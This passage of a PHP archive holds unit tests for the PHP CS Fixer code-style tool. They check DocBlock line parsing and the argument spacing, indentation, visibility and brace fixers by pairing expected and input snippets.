        "     *\n",
        "     * @param string \$hello\n",
        "     * @param bool \$test Description\n",
        "     *        extends over many lines\n",
        "     *\n",
        "     * @param adkjbadjasbdand \$asdnjkasd\n",
        "     *\n",
        "     * @throws \Exception asdnjkasd\n",
        "     * asdasdasdasdasdasdasdasd\n",
        "     * kasdkasdkbasdasdasdjhbasdhbasjdbjasbdjhb\n",
        "     *\n",
        "     * @return void\n",
        '     */',
    );

    /**
     * This represents the if each line is "useful".
     *
     * @var bool[]
     */
    private static $useful = array(
        false,
        true,
        false,
        true,
        true,
        true,
        false,
        true,
        false,
        true,
        true,
        true,
        false,
        true,
        false,
    );

    /**
     * This represents the if each line "contains a tag".
     *
     * @var bool[]
     */
    private static $tag = array(
        false,
        false,
        false,
        true,
        true,
        false,
        false,
        true,
        false,
        true,
        false,
        false,
        false,
        true,
        false,
    );

    /**
     * @dataProvider provideLines
     */
    public function testPosAndContent($pos, $content)
    {
        $doc = new DocBlock(self::$sample);
        $line = $doc->getLine($pos);

        $this->assertSame($content, $line->getContent());
    }

    /**
     * @dataProvider provideLines
     */
    public function testStarOrEndPos($pos)
    {
        $doc = new DocBlock(self::$sample);
        $line = $doc->getLine($pos);

        switch ($pos) {
            case 0:
                $this->assertTrue($line->isTheStart());
                $this->assertFalse($line->isTheEnd());
                break;
            case 14:
                $this->assertFalse($line->isTheStart());
                $this->assertTrue($line->isTheEnd());
                break;
            default:
                $this->assertFalse($line->isTheStart());
                $this->assertFalse($line->isTheEnd());
        }
    }

    public function provideLines()
    {
        $cases = array();

        foreach (self::$content as $index => $content) {
            $cases[] = array($index, $content);
        }

        return $cases;
    }

    /**
     * @dataProvider provideLinesWithUseful
     */
    public function testUseful($pos, $useful)
    {
        $doc = new DocBlock(self::$sample);
        $line = $doc->getLine($pos);

        $this->assertSame($useful, $line->containsUsefulContent());
    }

    public function provideLinesWithUseful()
    {
        $cases = array();

        foreach (self::$useful as $index => $useful) {
            $cases[] = array($index, $useful);
        }

        return $cases;
    }

    /**
     * @dataProvider provideLinesWithTag
     */
    public function testTag($pos, $tag)
    {
        $doc = new DocBlock(self::$sample);
        $line = $doc->getLine($pos);

        $this->assertSame($tag, $line->containsATag());
    }

    public function provideLinesWithTag()
    {
        $cases = array();

        foreach (self::$tag as $index => $tag) {
            $cases[] = array($index, $tag);
        }

        return $cases;
    }

    public function testSetContent()
    {
        $line = new Line("     * @param \$foo Hi!\n");

        $this->assertSame("     * @param \$foo Hi!\n", $line->getContent());

        $line->addBlank();
        $this->assertSame("     * @param \$foo Hi!\n     *\n", $line->getContent());

        $line->setContent("     * test\n");
        $this->assertSame("     * test\n", $line->getContent());

        $line->remove();
        $this->assertSame('', $line->getContent());
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/MethodArgumentSpaceFixerTest.php000066600000006036151456236460022222 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\PSR2;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Kuanhung Chen <ericj.tw@gmail.com>
 */
class MethodArgumentSpaceFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider testFixProvider
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function testFixProvider()
    {
        return array(
            // test method arguments
            array(
                '<?php function xyz($a=10, $b=20, $c=30) {}',
                '<?php function xyz($a=10,$b=20,$c=30) {}',
            ),
            // test method call
            array(
                '<?php xyz($a=10, $b=20, $c=30);',
                '<?php xyz($a=10 ,$b=20,$c=30);',
            ),
            // test method call
            array(
                '<?php xyz($a=10, $b=20, $this->foo(), $c=30);',
                '<?php xyz($a=10,$b=20 ,$this->foo() ,$c=30);',
            ),
            // test receiving data in list context with omitted values
            array(
                '<?php list($a, $b, , , $c) = foo();',
                '<?php list($a, $b,, ,$c) = foo();',
            ),
            // skip array
            array(
                '<?php array(10 , 20 ,30);',
            ),
            // list call with trailing comma
            array(
                '<?php list($path, $mode, ) = foo();',
                '<?php list($path, $mode,) = foo();',
            ),
            // multi line testing method arguments
            array(
                '<?php function xyz(
                    $a=10,
                    $b=20,
                    $c=30) {
                }',
                '<?php function xyz(
                    $a=10 ,
                    $b=20,
                    $c=30) {
                }',
            ),
            // multi line testing method call
            array(
                '<?php xyz(
                    $a=10,
                    $b=20,
                    $c=30
                    );',
                '<?php xyz(
                    $a=10 ,
                    $b=20,
                    $c=30
                    );',
            ),
            // skip multi line array
            array(
                '<?php
                    array(
                        10 ,
                        20,
                        30
                    );',
            ),
            // skip short array
            array(
                '<?php
    $foo = ["a"=>"apple", "b"=>"bed" ,"c"=>"car"];
    $foo = ["a" ,"b" ,"c"];
    ',
            ),
            // don't change HEREDOC and NOWDOC
            array(
                "<?php
    \$this->foo(
        <<<EOTXTa
    heredoc
EOTXTa
        ,
        <<<'EOTXTb'
    nowdoc
EOTXTb
        ,
        'foo'
    );
",
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/IndentationFixerTest.php000066600000011653151456236460020600 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\PSR2;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class IndentationFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideIndentationOnly
     */
    public function testIndentationOnly($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    /**
     * @dataProvider provideIndentationAndAlignment
     */
    public function testIndentationAndAlignment($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    /**
     * @dataProvider provideTabInString
     */
    public function testTabInString($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    /**
     * @dataProvider provideTabInComment
     */
    public function testTabInComment($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideIndentationOnly()
    {
        $cases = array();

        $cases[] = array(
            '<?php
        echo ALPHA;',
            "<?php
\t\techo ALPHA;",
        );

        $cases[] = array(
            '<?php
        echo BRAVO;',
            "<?php
\t\techo BRAVO;",
        );

        $cases[] = array(
            '<?php
        echo CHARLIE;',
            "<?php
 \t\techo CHARLIE;",
        );

        $cases[] = array(
            '<?php
        echo DELTA;',
            "<?php
  \t\techo DELTA;",
        );

        $cases[] = array(
            "<?php
        echo 'ECHO';",
            "<?php
   \t\techo 'ECHO';",
        );

        $cases[] = array(
            '<?php
        echo FOXTROT;',
            "<?php
\t \techo FOXTROT;",
        );

        $cases[] = array(
            '<?php
        echo GOLF;',
            "<?php
\t  \techo GOLF;",
        );

        $cases[] = array(
            '<?php
        echo HOTEL;',
            "<?php
\t   \techo HOTEL;",
        );

        $cases[] = array(
            '<?php
        echo INDIA;',
            "<?php
\t    echo INDIA;",
        );

        $cases[] = array(
            '<?php
        echo JULIET;',
            "<?php
 \t   \techo JULIET;",
        );

        $cases[] = array(
            '<?php
        echo KILO;',
            "<?php
  \t  \techo KILO;",
        );

        $cases[] = array(
            '<?php
        echo MIKE;',
            "<?php
   \t \techo MIKE;",
        );

        $cases[] = array(
            '<?php
        echo NOVEMBER;',
            "<?php
    \techo NOVEMBER;",
        );

        return $cases;
    }

    public function provideIndentationAndAlignment()
    {
        $cases = array();

        $cases[] = array(
            '<?php
         echo OSCAR;',
            "<?php
\t \t echo OSCAR;",
        );

        $cases[] = array(
            '<?php
          echo PAPA;',
            "<?php
\t \t  echo PAPA;",
        );

        $cases[] = array(
            '<?php
           echo QUEBEC;',
            "<?php
\t \t   echo QUEBEC;",
        );

        return $cases;
    }

    public function provideTabInString()
    {
        return array(
            array(
                '<?php $x = "a: \t";',
            ),
            array(
                "<?php
\$x = \"
\tLike
\ta
\tdog\";",
            ),
        );
    }

    public function provideTabInComment()
    {
        $cases = array();

        $cases[] = array(
            '<?php
    /**
     * Test that tabs in docblocks are converted to spaces.
     *
     * @test
     *
     * @return
     */',
            "<?php
\t/**
\t * Test that tabs in docblocks are converted to spaces.
\t *
\t * @test
\t *
\t * @return
\t */",
        );

        $cases[] = array(
            '<?php
        /**
         * Test that tabs in docblocks are converted to spaces.
         */',
            "<?php
\t\t/**
\t\t * Test that tabs in docblocks are converted to spaces.
\t\t */",
        );

        $cases[] = array(
            '<?php
    /*
     | Test that tabs in comments are converted to spaces.
     */',
            "<?php
\t/*
\t | Test that tabs in comments are converted to spaces.
\t */",
        );

        $cases[] = array(
            "<?php
    /**
     * This variable
     * should not be '\t', really!
     */",
            "<?php
\t/**
\t * This variable
\t * should not be '\t', really!
\t */",
        );

        return $cases;
    }

    /**
     * @dataProvider provideTabInInlineHTML
     */
    public function testTabInInlineHTML($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideTabInInlineHTML()
    {
        $cases = array(
            array(
                "<?php\necho 1;\n?>\r\n\t\$a = ellow;",
            ),
        );

        return $cases;
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/VisibilityFixerTest.php000066600000020270151456236460020446 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\PSR2;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

class VisibilityFixerTest extends AbstractFixerTestBase
{
    public function testFixProperties()
    {
        $expected = <<<'EOF'
<?php
class Foo {
    public $var;
    protected $var_foo;
    private $FooBar;
    public static $var;
    protected static $var_foo;
    private static $FooBar;
    public static $var;
    protected static $var_foo;
    private static $FooBar;
    private static $FooBar;
    public $old = 'foo';
}
EOF;

        $input = <<<'EOF'
<?php
class Foo {
    public $var;
    protected $var_foo;
    private $FooBar;
    static public $var;
    static protected $var_foo;
    static private $FooBar;
    public static $var;
    protected static $var_foo;
    private static $FooBar;
    private static
    $FooBar;
    var $old = 'foo';
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixPropertiesAfterMethod()
    {
        $expected = <<<'EOF'
<?php
class Foo {
    public function aaa() {}
    public $bbb;
}
EOF;

        $this->makeTest($expected);
    }

    public function testFixMethods()
    {
        $expected = <<<'EOF'
<?php
abstract class Foo {
    public function& foo1() {}
    public function &foo2() {}
    protected function foo3() {}
    abstract protected function foo4();
    private function foo5() {}
    final public function foo6() {}
    abstract public function foo7();
    final public function foo8() {}
    abstract public function foo9();
    public static function fooA() {}
    public static function fooD() {}
    final public static function fooE() {}
    abstract public function fooF();
        public function fooG ($foo) {}
        public function fooH() {
            static $foo;
            $bar = function($baz) {};
        }
}
EOF;

        $input = <<<'EOF'
<?php
abstract class Foo {
    public function& foo1() {}
    function &foo2() {}
    protected function foo3() {}
    protected
    abstract function foo4();
    private function foo5() {}
    final public function foo6() {}
    abstract public function foo7();
    public final function foo8() {}
    public abstract function foo9();
    public static function fooA() {}
    public static
    function fooD() {}
    final static function fooE() {}
    abstract function fooF();
        function fooG ($foo) {}
        function fooH() {
            static $foo;
            $bar = function($baz) {};
        }
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testLeaveFunctionsAlone()
    {
        $expected = <<<'EOF'
<?php
function foo() {
    static $foo;
}
EOF;

        $this->makeTest($expected);
    }

    public function testLeaveFunctionsAloneWithVariablesMatchingOopWords()
    {
        $expected = <<<'EOF'
<?php
function foo() {
    static $class;
    $interface = 'foo';
    $trait = 'bar';
}
EOF;

        $this->makeTest($expected);
    }

    public function testLeaveFunctionsAloneInsideConditionals()
    {
        $expected = <<<'EOF'
<?php
if (!function_exists('foo')) {
    function foo($arg)
    {
        return $arg;
    }
}
EOF;
        $this->makeTest($expected);
    }

    public function testLeaveFunctionsAloneInsideConditionalsWithOopWordInComment()
    {
        $expected = <<<'EOF'
<?php
/* class <= this is just a stop-word */
if (!function_exists('foo')) {
    function foo($arg)
    {
        return $arg;
    }
}
EOF;

        $this->makeTest($expected);
    }

    public function testLeaveFunctionsAloneWithOopWordInComment()
    {
        $expected = <<<'EOF'
<?php
/* class */
function foo($arg)
{
    return $arg;
}
EOF;
        $this->makeTest($expected);
    }

    public function testLeaveFunctionsAloneOutsideClassesWithOopWordInInlineHtml()
    {
        $expected = <<<'EOF'
<?php
if (!function_exists('foo')) {
    function foo($arg)
    {
    ?>
        <div class="test"></div>
    <?php
        return $arg;
    }
}
EOF;
        $this->makeTest($expected);
    }

    public function testLeaveFunctionsAloneOutsideClassesWithOopWordInStringValue()
    {
        $expected = <<<'EOF'
<?php
if (!function_exists('foo')) {
    function foo($arg)
    {
        return 'she has class right?';
    }
}
EOF;
        $this->makeTest($expected);
    }

    public function testLeaveFunctionsAloneOutsideClassesWithOopWordInFunctionName()
    {
        $expected = <<<'EOF'
<?php

comment_class();

if (!function_exists('foo')) {
    function foo($arg)
    {
        return $arg;
    }
}
EOF;
        $this->makeTest($expected);
    }

    /**
     * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
     */
    public function testLeaveFunctionsAloneAfterClass()
    {
        $expected = <<<'EOF'
<?php

class Foo
{
    public $foo;
}

if (!function_exists('bar')) {
    function bar()
    {
        return 'bar';
    }
}
EOF;

        $this->makeTest($expected);
    }

    /**
     * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
     */
    public function testCurlyOpenSyntax()
    {
        $expected = <<<'EOF'
<?php

class Foo
{
    private $bar;
    public function foo()
    {
        $foo = "foo";
        $fooA = "ab{$foo}cd";
        $bar = "bar"; // test if variable after T_CURLY_OPEN is intact
    }
}
EOF;

        $this->makeTest($expected);
    }

    /**
     * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
     */
    public function testDollarOpenCurlyBracesSyntax()
    {
        $expected = <<<'EOF'
<?php

class Foo {
    public function bar()
    {
        $foo = "foo${width}foo";
        $bar = "bar"; // test if variable after T_DOLLAR_OPEN_CURLY_BRACES is intact
    }
}
EOF;

        $this->makeTest($expected);
    }

    /**
     * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
     */
    public function testLeaveJavascriptOutsidePhpAlone()
    {
        $expected = <<<'EOF'
<?php
function foo()
{
    return "foo";
}
?>
<script type="text/javascript">
function foo(bar) {
    alert(bar);
}
</script>
EOF;

        $this->makeTest($expected);
    }

    /**
     * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
     */
    public function testLeaveJavascriptInStringAlone()
    {
        $expected = <<<'EOF'
<?php
function registerJS()
{
echo '<script type="text/javascript">
function foo(bar) {
    alert(bar);
}
</script>';
}
EOF;

        $this->makeTest($expected);
    }

    /**
     * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
     */
    public function testLeaveJavascriptInVariableAlone()
    {
        $expected = <<<'EOF'
<?php
class Foo
{
    public function bar()
    {
        $script = <<<JAVASCRIPT
<script type="text/javascript">
function foo(bar) {
    alert(bar);
}
</script>
JAVASCRIPT;

        return $script;
    }
}
EOF;

        $this->makeTest($expected);
    }

    /**
     * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
     */
    public function testFixCommaSeparatedProperty()
    {
        $expected = <<<'EOF'
<?php
class Foo
{
    public $foo1;
    private $foo2;
    protected $bar1, $bar2;
    public $baz1 = null, $baz2, $baz3 = false;
    public $foo, $bar;
}
EOF;

        $input = <<<'EOF'
<?php
class Foo
{
    var $foo1;
    private $foo2;
    protected $bar1, $bar2;
    public $baz1 = null, $baz2, $baz3 = false;
    var $foo, $bar;
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixesVarDeclarationsWithArrayValue()
    {
        $expected = <<<'EOF'
<?php
class Foo
{
    public $foo1 = 1;
    public $foo2a = array('foo');
    public $foo2b = ['foo'];
    public $foo3a = array('foo', 'bar');
    public $foo3b = ['foo', 'bar'];
    public $foo4a = 1, $foo5a = array(1, 2, 3), $foo6a = 10;
    public $foo4b = 1, $foo5b = array(1, 2, 3), $foo6b = 10;
}
EOF;

        $input = <<<'EOF'
<?php
class Foo
{
    var $foo1 = 1;
    var $foo2a = array('foo');
    var $foo2b = ['foo'];
    var $foo3a = array('foo', 'bar');
    var $foo3b = ['foo', 'bar'];
    var $foo4a = 1, $foo5a = array(1, 2, 3), $foo6a = 10;
    var $foo4b = 1, $foo5b = array(1, 2, 3), $foo6b = 10;
}
EOF;

        $this->makeTest($expected, $input);
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/BracesFixerTest.php000066600000065737151456236460017537 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\PSR2;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class BracesFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideFixControlContinuationBracesCases
     */
    public function testFixControlContinuationBraces($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideFixControlContinuationBracesCases()
    {
        return array(
            array(
                '<?php
class Foo
{
    public function A()
    {
        ?>
        Test<?php echo $foobar; ?>Test
        <?php
        $a = 1;
    }
}
',
            ),
            array(
                '<?php
    if (true) {
        $a = 1;
    } else {
        $b = 2;
    }',
                '<?php
    if (true) {
        $a = 1;
    }
    else {
        $b = 2;
    }',
            ),
            array(
                '<?php
    try {
        throw new \Exception();
    } catch (\LogicException $e) {
        // do nothing
    } catch (\Exception $e) {
        // do nothing
    }',
                '<?php
    try {
        throw new \Exception();
    }catch (\LogicException $e) {
        // do nothing
    }
    catch (\Exception $e) {
        // do nothing
    }',
            ),
            array(
                '<?php
    if (true) {
        echo 1;
    } elseif (true) {
        echo 2;
    }',
                '<?php
    if (true) {
        echo 1;
    } elseif (true)
    {
        echo 2;
    }',
            ),
            array(
                '<?php
    try {
        echo 1;
    } catch (Exception $e) {
        echo 2;
    }',
                '<?php
    try
    {
        echo 1;
    }
    catch (Exception $e)
    {
        echo 2;
    }',
            ),
            array(
                '<?php
    class Foo
    {
        public function bar(
            FooInterface $foo,
            BarInterface $bar,
            array $data = []
        ) {
        }
    }',
                '<?php
    class Foo
    {
        public function bar(
            FooInterface $foo,
            BarInterface $bar,
            array $data = []
        ){
        }
    }',
            ),
            array(
                '<?php
    if (1) {
        self::${$key} = $val;
        self::${$type}[$rule] = $pattern;
        self::${$type}[$rule] = array_merge($pattern, self::${$type}[$rule]);
        self::${$type}[$rule] = $pattern + self::${$type}["rules"];
    }
                ',
            ),
            array(
                '<?php
    if /* 1 */ (2) {
    }',
                '<?php
    if /* 1 */ (2) {}',
            ),
        );
    }

    /**
     * @dataProvider provideFixMissingBracesAndIndentCases
     */
    public function testFixMissingBracesAndIndent($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideFixMissingBracesAndIndentCases()
    {
        return array(
            array(
                '<?php
if (true):
    $foo = 0;
endif;',
            ),
            array(
                '<?php
if (true)  :
    $foo = 0;
endif;',
            ),
            array(
                '<?php
    if (true) : $foo = 1; endif;',
            ),
            array(
                '<?php
if (true) {
    $foo = 1;
}',
                '<?php
if (true)$foo = 1;',
            ),
            array(
                '<?php
if (true) {
    $foo = 2;
}',
                '<?php
if (true)    $foo = 2;',
            ),
            array(
                '<?php
if (true) {
    $foo = 3;
}',
                '<?php
if (true){$foo = 3;}',
            ),
            array(
                '<?php
if (true) {
    echo 1;
} else {
    echo 2;
}',
                '<?php
if(true) { echo 1; } else echo 2;',
            ),
            array(
                '<?php
if (true) {
    echo 3;
} else {
    echo 4;
}',
                '<?php
if(true) echo 3; else { echo 4; }',
            ),
            array(
                '<?php
if (true) {
    echo 5;
} else {
    echo 6;
}',
                '<?php
if (true) echo 5; else echo 6;',
            ),
            array(
                '<?php
if (true) {
    while (true) {
        $foo = 1;
        $bar = 2;
    }
}',
                '<?php
if (true) while (true) { $foo = 1; $bar = 2;}',
            ),
            array(
                '<?php
if (true) {
    if (true) {
        echo 1;
    } else {
        echo 2;
    }
} else {
    echo 3;
}',
                '<?php
if (true) if (true) echo 1; else echo 2; else echo 3;',
            ),
            array(
                '<?php
if (true) {
    // sth here...

    if ($a && ($b || $c)) {
        $d = 1;
    }
}',
                '<?php
if (true) {
    // sth here...

    if ($a && ($b || $c)) $d = 1;
}',
            ),
            array(
                '<?php
for ($i = 1; $i < 10; ++$i) {
    echo $i;
}
for ($i = 1; $i < 10; ++$i) {
    echo $i;
}',
                '<?php
for ($i = 1; $i < 10; ++$i) echo $i;
for ($i = 1; $i < 10; ++$i) { echo $i; }',
            ),
            array(
                '<?php
for ($i = 1; $i < 5; ++$i) {
    for ($i = 1; $i < 10; ++$i) {
        echo $i;
    }
}',
                '<?php
for ($i = 1; $i < 5; ++$i) for ($i = 1; $i < 10; ++$i) { echo $i; }',
            ),
            array(
                '<?php
do {
    echo 1;
} while (false);',
                '<?php
do { echo 1; } while (false);',
            ),
            array(
                '<?php
while ($foo->next());',
            ),
            array(
                '<?php
foreach ($foo as $bar) {
    echo $bar;
}',
                '<?php
foreach ($foo as $bar) echo $bar;',
            ),
            array(
                '<?php
if (true) {
    $a = 1;
}',
                '<?php
if (true) {$a = 1;}',
            ),
            array(
                '<?php
if (true) {
    $a = 1;
}',
                '<?php
if (true) {
 $a = 1;
}',
            ),
            array(
                '<?php
if (true) {
    $a = 1;
    $b = 2;
    while (true) {
        $c = 3;
    }
    $d = 4;
}',
                '<?php
if (true) {
 $a = 1;
        $b = 2;
  while (true) {
            $c = 3;
                        }
        $d = 4;
}',
            ),
            array(
                '<?php
if (true) {
    $a = 1;


    $b = 2;
}',
            ),
            array(
                '<?php
if (1) {
    $a = 1;

    // comment at end
}',
            ),
            array(
                '<?php
if (1) {
    if (2) {
        $a = "a";
    } elseif (3) {
        $b = "b";
        // comment
    } else {
        $c = "c";
    }
    $d = "d";
}',
            ),
            array(
                '<?php
foreach ($numbers as $num) {
    for ($i = 0; $i < $num; ++$i) {
        $a = "a";
    }
    $b = "b";
}',
            ),
            array(
                '<?php
if (1) {
    if (2) {
        $foo = 2;

        if (3) {
            $foo = 3;
        }
    }
}',
            ),
            array(
                '<?php
    declare (ticks=1) {
        $ticks = 1;
    }',
                '<?php
    declare (ticks=1) {
  $ticks = 1;
    }',
            ),
            array(
                '<?php
    if (true) {
        foo();
    } elseif (true) {
        bar();
    }',
                '<?php
    if (true)
    {
        foo();
    } elseif (true)
    {
        bar();
    }',
            ),
            array(
                '<?php
    while (true) {
        foo();
    }',
                '<?php
    while (true)
    {
        foo();
    }',
            ),
            array(
                '<?php
    do {
        echo $test;
    } while ($test = $this->getTest());',
                '<?php
    do
    {
        echo $test;
    }
    while ($test = $this->getTest());',
            ),
            array(
                '<?php
    do {
        echo $test;
    } while ($test = $this->getTest());',
                '<?php
    do
    {
        echo $test;
    }while ($test = $this->getTest());',
            ),
            array(
                '<?php
    class ClassName
    {




        /**
         * comment
         */
        public $foo = null;
    }',
                '<?php
    class ClassName
    {




        /**
         * comment
         */
        public $foo = null;


    }',
            ),
            array(
                '<?php
    while ($true) {
        try {
            throw new \Exception();
        } catch (\Exception $e) {
            // do nothing
        }
    }',
            ),
            array(
                '<?php
    interface Foo
    {
        public function setConfig(ConfigInterface $config);
    }',
            ),
            array(
                '<?php
function bar()
{
    $a = 1; //comment
}',
            ),
            array(
                '<?php

function & lambda()
{
    return function () {};
}',
            ),
            array(
                '<?php
function nested()
{
    $a = "a{$b->c()}d";
}',
            ),
            array(
                '<?php
function foo()
{
    $a = $b->{$c->d}($e);
    $f->{$g} = $h;
    $i->{$j}[$k] = $l;
    $m = $n->{$o};
    $p = array($q->{$r}, $s->{$t});
    $u->{$v}->w = 1;
}',
            ),
            array(
                '<?php
function mixed()
{
    $a = $b->{"a{$c}d"}();
}',
            ),
            array(
                '<?php
function mixedComplex()
{
    $a = $b->{"a{$c->{\'foo-bar\'}()}d"}();
}',
            ),
            array(
                '<?php
function mixedComplex()
{
    $a = ${"b{$foo}"}->{"a{$c->{\'foo-bar\'}()}d"}();
}',
            ),
            array(
                '<?php
    if (true):
        echo 1;
    else:
        echo 2;
    endif;
',
            ),
            array(
                '<?php
    if ($test) { //foo
        echo 1;
    }',
            ),
            array(
                '<?php
    if (true) {
        // foo
        // bar

        if (true) {
            print("foo");
            print("bar");
        }
    }',
                '<?php
    if (true)
        // foo
        // bar
            {
        if (true)
        {
            print("foo");
            print("bar");
        }
    }',
            ),
            array(
                '<?php if (true) {
    echo "s";
} ?>x',
                '<?php if (true) echo "s" ?>x',
            ),
            array(
                '<?php
    class Foo
    {
        public function getFaxNumbers()
        {
            if (1) {
                return $this->phoneNumbers->filter(function ($phone) {
                    $a = 1;
                    $b = 1;
                    $c = 1;
                    return ($phone->getType() === 1) ? true : false;
                });
            }
        }
    }',
                '<?php
    class Foo
    {
        public function getFaxNumbers()
        {
            if (1)
                return $this->phoneNumbers->filter(function ($phone) {
                    $a = 1;
                    $b = 1;
                    $c = 1;
                    return ($phone->getType() === 1) ? true : false;
                });
        }
    }',
            ),
            array(
                '<?php
if (true) {
    if (true) {
        echo 1;
    } elseif (true) {
        echo 2;
    } else {
        echo 3;
    }
}
',
                '<?php
if(true)
    if(true)
        echo 1;
    elseif(true)
        echo 2;
    else
        echo 3;
',
            ),
            array(
                '<?php
if (true) {
    if (true) {
        echo 1;
    } elseif (true) {
        echo 2;
    } else {
        echo 3;
    }
}
echo 4;
',
                '<?php
if(true)
    if(true)
        echo 1;
    elseif(true)
        echo 2;
    else
        echo 3;
echo 4;
',
            ),
            array(
                '<?php
if (true) {
    if (true) {
        echo 1;
    } elseif (true) {
        echo 2;
    } else {
        echo 3;
    }
}',
                '<?php
if(true) if(true) echo 1; elseif(true) echo 2; else echo 3;',
            ),
            array(
                '<?php
if (true) {
    if (true) {
        echo 1;
    } else {
        echo 2;
    }
} else {
    echo 3;
}',
                '<?php
if(true) if(true) echo 1; else echo 2; else echo 3;',
            ),
            array(
                '<?php
foreach ($data as $val) {
    // test val
    if ($val === "errors") {
        echo "!";
    }
}',
                '<?php
foreach ($data as $val)
    // test val
    if ($val === "errors") {
        echo "!";
    }',
            ),
            array(
                '<?php
if (1) {
    foreach ($data as $val) {
        // test val
        if ($val === "errors") {
            echo "!";
        }
    }
}',
                '<?php
if (1)
    foreach ($data as $val)
        // test val
        if ($val === "errors") {
            echo "!";
        }',
            ),

            array(
                '<?php
    class Foo
    {
        public function main()
        {
            echo "Hello";
        }
    }',
                '<?php
    class Foo
    {
      public function main()
      {
        echo "Hello";
      }
    }',
            ),

            array(
                '<?php
class Foo
{
    public function main()
    {
        echo "Hello";
    }
}',
                '<?php
class Foo
{
  public function main()
  {
    echo "Hello";
  }
}',
            ),
            array(
                '<?php
    class Foo
    {
        public $bar;
        public $baz;
    }',
                '<?php
    class Foo
    {
                public $bar;
                public $baz;
    }',
            ),
            array(
                '<?php
    function myFunction($foo, $bar)
    {
        return \Foo::{$foo}($bar);
    }',
            ),
            array(
                '<?php
    class C
    {
        public function __construct(
        )
        //comment
        {
        }
    }',
                '<?php
    class C {
        public function __construct(
        )
        //comment
        {}
    }',
            ),
        );
    }

    /**
     * @dataProvider provideFixClassyBracesCases
     */
    public function testFixClassyBraces($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideFixClassyBracesCases()
    {
        return array(
            array(
                '<?php
                    class FooA
                    {
                    }',
                '<?php
                    class FooA {}',
            ),
            array(
                '<?php
                    class FooB
                    {
                    }',
                '<?php
                    class FooB{}',
            ),
            array(
                '<?php
                    class FooC
                    {
                    }',
                '<?php
                    class FooC
{}',
            ),
            array(
                '<?php
                    interface FooD
                    {
                    }',
                '<?php
                    interface FooD {}',
            ),
            array(
                '<?php
                class TestClass extends BaseTestClass implements TestInterface
                {
                    private $foo;
                }',
                '<?php
                class TestClass extends BaseTestClass implements TestInterface { private $foo;}',
            ),
            array(
                '<?php

abstract class Foo
{
    public function getProcess($foo)
    {
        return true;
    }
}',
            ),
            array('<?php
function foo()
{
    return "$c ($d)";
}',
            ),
        );
    }

    /**
     * @dataProvider provideFixClassyBraces54Cases
     * @requires PHP 5.4
     */
    public function testFixClassyBraces54($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideFixClassyBraces54Cases()
    {
        return array(
            array(
                '<?php
    trait TFoo
    {
        public $a;
    }',
                '<?php
    trait TFoo {public $a;}',
            ),
        );
    }

    /**
     * @dataProvider provideFixAnonFunctionInShortArraySyntax54Cases
     * @requires PHP 5.4
     */
    public function testFixAnonFunctionInShortArraySyntax54($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideFixAnonFunctionInShortArraySyntax54Cases()
    {
        return array(
            array(
                '<?php
    function myFunction()
    {
        return [
            [
                "callback" => function ($data) {
                    return true;
                }
            ],
            [
                "callback" => function ($data) {
                    return true;
                },
            ],
        ];
    }',
            ),
        );
    }

    /**
     * @dataProvider provideFixCommentBeforeBraceCases
     */
    public function testFixCommentBeforeBrace($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideFixCommentBeforeBraceCases()
    {
        return array(
            array(
                '<?php
    if ($test) {
        // foo

        echo 1;
    }',
                '<?php
    if ($test) // foo
    {
        echo 1;
    }',
            ),
        );
    }

    /**
     * @dataProvider provideFixWhitespaceBeforeBraceCases
     */
    public function testFixWhitespaceBeforeBrace($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

